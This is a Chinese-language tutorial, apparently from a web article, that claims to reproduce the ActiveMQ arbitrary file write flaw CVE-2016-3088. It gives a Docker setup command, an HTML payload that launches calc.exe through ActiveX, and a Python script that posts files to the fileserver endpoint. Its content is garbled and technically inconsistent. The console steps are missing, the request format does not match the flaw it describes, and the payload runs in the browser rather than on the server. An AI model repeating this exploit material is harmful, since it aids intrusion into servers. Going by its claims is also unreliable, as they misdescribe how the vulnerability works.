以下是Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)的完整攻略:
Apache ActiveMQ是一款开源的消息队列系统。当使用ActiveMQ的fileserver和http服务时,可以利用该漏洞将任意文件写入至任意路径,从而造成远程代码执行。
漏洞编号:CVE-2016-3088
漏洞评级:高危
首先需要搭建漏洞环境,可以使用搭建好漏洞环境的Docker镜像,命令如下:
docker run -it --name activemq -p 61616:61616 -p 8161:8161 vromero/activemq-artemis
Docker镜像地址:https://hub.docker.com/r/vromero/activemq-artemis/
接下来,我们使用两种方式来复现该漏洞。
首先,我们可以使用ActiveMQ的管理控制台来复现该漏洞。
<html>
<head>
<title>Apache ActiveMQ Test</title>
<SCRIPT LANGUAGE="JavaScript">
function test() {
new ActiveXObject('WScript.Shell').Run('calc.exe');
}
</SCRIPT>
</head>
<body>
<button onclick="test()">Click me</button>
</body>
</html>
此时,我们成功发送了一个包含可执行代码的消息,下一步我们需要将其写入到文件。
此时,我们成功将包含可执行代码的消息写入了一个名为test.html的文件。
此时,我们成功访问到了包含可执行代码的文件,攻击成功。
另一种方式是使用Python脚本来实现漏洞的利用。
pip install requests
import requests
activemq_host = 'http://127.0.0.1:8161/'
def send_message_to_queue(queue_name, message):
url = activemq_host + 'api/message/' + queue_name
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'application/json'
}
data = 'body=' + message
response = requests.post(url, headers=headers, data=data)
if response.status_code != 200:
print('Send message failed.')
exit()
def write_file(file_path, file_content):
url = activemq_host + 'fileserver/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'application/json'
}
data = {
'fileName': file_path,
'fileContents': file_content
}
response = requests.post(url, headers=headers, data=data)
if response.status_code != 200:
print('Write file failed.')
exit()
if __name__ == '__main__':
queue_name = 'test'
message = '<html><head><title>Apache ActiveMQ Test</title><SCRIPT LANGUAGE="JavaScript">function test() { new ActiveXObject("WScript.Shell").Run("calc.exe"); }</SCRIPT></head><body><button onclick="test()">Click me</button></body></html>'
file_path = 'test.html'
write_file(file_path, message)
send_message_to_queue(queue_name, message)
以上就是使用两种不同方式复现Apache ActiveMQ任意文件写入漏洞的方法及过程。为避免漏洞被利用,建议及时更新漏洞版本或关闭fileserver和http服务。
本文链接:http://task.lmcjl.com/news/8121.html